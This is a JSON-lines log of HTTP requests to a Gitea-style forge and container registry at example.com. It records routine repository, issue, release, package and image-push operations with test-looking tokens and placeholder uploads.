{"method": "GET", "target": "/api/v1/repos/alice/tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/branches/python3-migration", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/tags", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/contents?ref=main", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/contents/.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/contents/docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/contents/scripts/install-script.sh?ref=main", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/raw/bin/docker-entrypoint", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/media/src/process.env.d.ts", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/commits?path=scripts/install-script.sh&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/commits?sha=python3-migration", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/git/trees/main", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/labels", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/collaborators", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/hooks", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/users", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/orgs", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/orgs/acme", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/users/alice/repos", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/notifications", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "POST", "target": "/api/v1/repos/alice/tools/labels", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 68"], "body": "{\"name\":\"bug\",\"color\":\"#ee0701\",\"description\":\"Something is broken\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 83"], "body": "{\"title\":\"Document the python3 setup\",\"body\":\"Say which version the scripts need.\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/comments", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 40"], "body": "{\"body\":\"The setup notes cover it now.\"}"}
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/issues/3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 18"], "body": "{\"state\":\"closed\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/assets", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------c8PTgaGzJM0bzMXgzs4jFA"], "body": "--------------------------c8PTgaGzJM0bzMXgzs4jFA\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------c8PTgaGzJM0bzMXgzs4jFA--\r\n"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/assets?name=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------8vBtFvaNGea9428ByqN6zh"], "body": "--------------------------8vBtFvaNGea9428ByqN6zh\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------8vBtFvaNGea9428ByqN6zh--\r\n"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/releases", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 69"], "body": "{\"tag_name\":\"v1.2.0\",\"name\":\"Version 1.2.0\",\"body\":\"Smaller images.\"}"}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases/tags/v1.2.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "POST", "target": "/api/v1/repos/alice/tools/releases/3/assets?name=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------a8C2mRAVkCsfebNVoTuH9d"], "body": "--------------------------a8C2mRAVkCsfebNVoTuH9d\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------a8C2mRAVkCsfebNVoTuH9d--\r\n"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/releases/3/assets", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------bwR0eGsF72IMLlKpnzjarK"], "body": "--------------------------bwR0eGsF72IMLlKpnzjarK\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------bwR0eGsF72IMLlKpnzjarK--\r\n"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 100"], "body": "{\"content\":\"V3JpdGUtSG9zdCAiYnVpbGQiCg==\",\"message\":\"Add a PowerShell build script\",\"branch\":\"main\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 59"], "body": "{\"new_branch_name\":\"python3-docs\",\"old_branch_name\":\"main\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 96"], "body": "{\"title\":\"Add Dockerfile\",\"head\":\"feat/docker-support\",\"base\":\"main\",\"body\":\"Builds the image.\"}"}
{"method": "PATCH", "target": "/api/v1/repos/alice/tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 87"], "body": "{\"description\":\"Build scripts, notes and a Dockerfile\",\"website\":\"https://example.com\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/forks", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 23"], "body": "{\"organization\":\"acme\"}"}
{"method": "POST", "target": "/api/v1/admin/users", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 107"], "body": "{\"username\":\"dave\",\"email\":\"dave@example.com\",\"password\":\"Lp6-xRw4-Bq9z-Hs3d\",\"must_change_password\":false}"}
{"method": "PATCH", "target": "/api/v1/admin/users/dave", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 80"], "body": "{\"login_name\":\"dave\",\"full_name\":\"Dave Example\",\"password\":\"Yt2-cNm8-Fg5k-Wa7e\"}"}
{"method": "DELETE", "target": "/api/v1/repos/alice/tools/branches/python3-docs", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/generic/tools/1.2.0/tools-linux-amd64.tar.gz", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?q=tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?type=generic&q=install-script", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "PUT", "target": "/api/packages/alice/generic/tools/1.2.0/tools-linux-amd64.tar.gz", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: curl/8.17.0", "Accept: */*", "Content-Length: 41"], "body": "Steps to reproduce: run the build twice.\n"}
{"method": "PUT", "target": "/api/packages/alice/generic/install-script/1.0.0/install-script.sh", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: curl/8.17.0", "Accept: */*", "Content-Length: 41"], "body": "Steps to reproduce: run the build twice.\n"}
{"method": "GET", "target": "/v2/", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fpython3-app%3Apush%2Cpull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
{"method": "HEAD", "target": "/v2/alice/python3-app/manifests/1.0", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
{"method": "HEAD", "target": "/v2/alice/python3-app/blobs/sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
{"method": "POST", "target": "/v2/alice/python3-app/blobs/uploads/", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/json", "Accept-Encoding: gzip"], "body": ""}
{"method": "HEAD", "target": "/v2/alice/python3-app/blobs/sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
{"method": "PATCH", "target": "/v2/alice/python3-app/blobs/uploads/iljdbd0gxw2zdibpfrajzu", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 144", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": "H4sIAAAAAAAE/+zRQQoCIRTG8bfuFJ6g+Wu+8TwughYDymTQ8YOaNhK0More+y1E3ej35VonGTwASVV4TL8CiNeQFB9jQvAcohenQ1+1uZxbXp2TtZS2Hb307v5H5Vqn03FZyr5dR/0PYI6x7/25B+au/xDw4vhEpn/e/7373fiYjTHGfJfbAH2FcNwACgAA"}
{"method": "PUT", "target": "/v2/alice/python3-app/blobs/uploads/iljdbd0gxw2zdibpfrajzu?digest=sha256%3A1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": ""}
{"method": "PATCH", "target": "/v2/alice/python3-app/blobs/uploads/1eu6yk4t4l8lmbsedmyw9l", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 233", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": "{\"architecture\":\"\",\"created\":\"0001-01-01T00:00:00Z\",\"history\":[{\"created\":\"0001-01-01T00:00:00Z\"}],\"os\":\"\",\"rootfs\":{\"type\":\"layers\",\"diff_ids\":[\"sha256:19e75beae854ceb749acf78607bea3b2c0b04b74bbcc28f15e846683cf8e0b9d\"]},\"config\":{}}"}
{"method": "PUT", "target": "/v2/alice/python3-app/blobs/uploads/1eu6yk4t4l8lmbsedmyw9l?digest=sha256%3Af4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": ""}
{"method": "PUT", "target": "/v2/alice/python3-app/manifests/1.0", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 423", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/vnd.docker.distribution.manifest.v2+json", "Accept-Encoding: gzip"], "body": "{\"schemaVersion\":2,\"mediaType\":\"application/vnd.docker.distribution.manifest.v2+json\",\"config\":{\"mediaType\":\"application/vnd.docker.container.image.v1+json\",\"size\":233,\"digest\":\"sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d\"},\"layers\":[{\"mediaType\":\"application/vnd.docker.image.rootfs.diff.tar.gzip\",\"size\":144,\"digest\":\"sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068\"}]}"}
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fpython3-app%3Apull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/v2/alice/python3-app/manifests/1.0", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fdocker-build%3Apush%2Cpull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
{"method": "HEAD", "target": "/v2/alice/docker-build/manifests/latest", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
{"method": "HEAD", "target": "/v2/alice/docker-build/blobs/sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
{"method": "HEAD", "target": "/v2/alice/docker-build/blobs/sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fdocker-build%3Apush%2Cpull&scope=repository%3Aalice%2Fpython3-app%3Apull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
{"method": "POST", "target": "/v2/alice/docker-build/blobs/uploads/?from=alice%2Fpython3-app&mount=sha256%3Af4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d&origin=example.com", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/json", "Accept-Encoding: gzip"], "body": ""}
{"method": "POST", "target": "/v2/alice/docker-build/blobs/uploads/?from=alice%2Fpython3-app&mount=sha256%3A1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068&origin=example.com", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/json", "Accept-Encoding: gzip"], "body": ""}
{"method": "PUT", "target": "/v2/alice/docker-build/manifests/latest", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 423", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/vnd.docker.distribution.manifest.v2+json", "Accept-Encoding: gzip"], "body": "{\"schemaVersion\":2,\"mediaType\":\"application/vnd.docker.distribution.manifest.v2+json\",\"config\":{\"mediaType\":\"application/vnd.docker.container.image.v1+json\",\"size\":233,\"digest\":\"sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d\"},\"layers\":[{\"mediaType\":\"application/vnd.docker.image.rootfs.diff.tar.gzip\",\"size\":144,\"digest\":\"sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068\"}]}"}
